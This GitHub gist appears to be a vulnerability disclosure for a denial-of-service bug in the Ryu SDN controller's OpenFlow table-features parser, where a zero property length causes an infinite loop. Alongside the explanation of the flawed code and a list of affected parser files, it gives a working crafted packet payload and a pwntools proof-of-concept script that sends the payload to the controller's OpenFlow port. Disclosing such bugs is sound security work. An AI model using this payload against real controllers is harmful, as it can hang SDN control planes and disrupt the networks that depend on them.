Skip to content

Instantly share code, notes, and snippets.

@ErodedElk
Created April 10, 2024 06:20
Show Gist options
  • Save ErodedElk/f8c17c350550b43e2dddaf1539024664 to your computer and use it in GitHub Desktop.
Save ErodedElk/f8c17c350550b43e2dddaf1539024664 to your computer and use it in GitHub Desktop.
An issue was discovered in OFPTableFeaturesStats in parser.py in Faucet SDN Ryu version 4.34, allows remote attackers to cause a denial of service (DoS) (infinite loop).

in /ryu/ofproto/ofproto_v1_3_parser.py about line=5269

        while rest:
            p, rest = OFPTableFeatureProp.parse(rest)
            props.append(p)
        table_features.properties = props

The rest variable here is obtained through the following code:

        (type_, length) = struct.unpack_from(cls._PACK_STR, buf, 0)
        rest = buf[utils.round_up(length, 8):]

If the length variable is tampered with to 0, rest will get the original buffer, causing the controller to fall into an infinite loop.

payload:

payload="\x04\x13\x00\x58\x00\x00\x00\x00\x00\x0c\x00\x01\x00\x00\x00\x0000\x48\x01\x00\x00\x00\x00\x00\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00"

poc:

from pwn import *
p=remote("0.0.0.0",6633)
payload="\x04\x13\x00\x58\x00\x00\x00\x00\x00\x0c\x00\x01\x00\x00\x00\x0000\x48\x01\x00\x00\x00\x00\x00\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00"
p.send(payload)
p.interactive()

This problem also occurs with the following code:

/ryu/ofproto/ofproto_v1_3_parser.py about line=5269
/ryu/ofproto/ofproto_v1_4_parser.py about line=1789
/ryu/ofproto/ofproto_v1_5_parser.py about line=2029
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment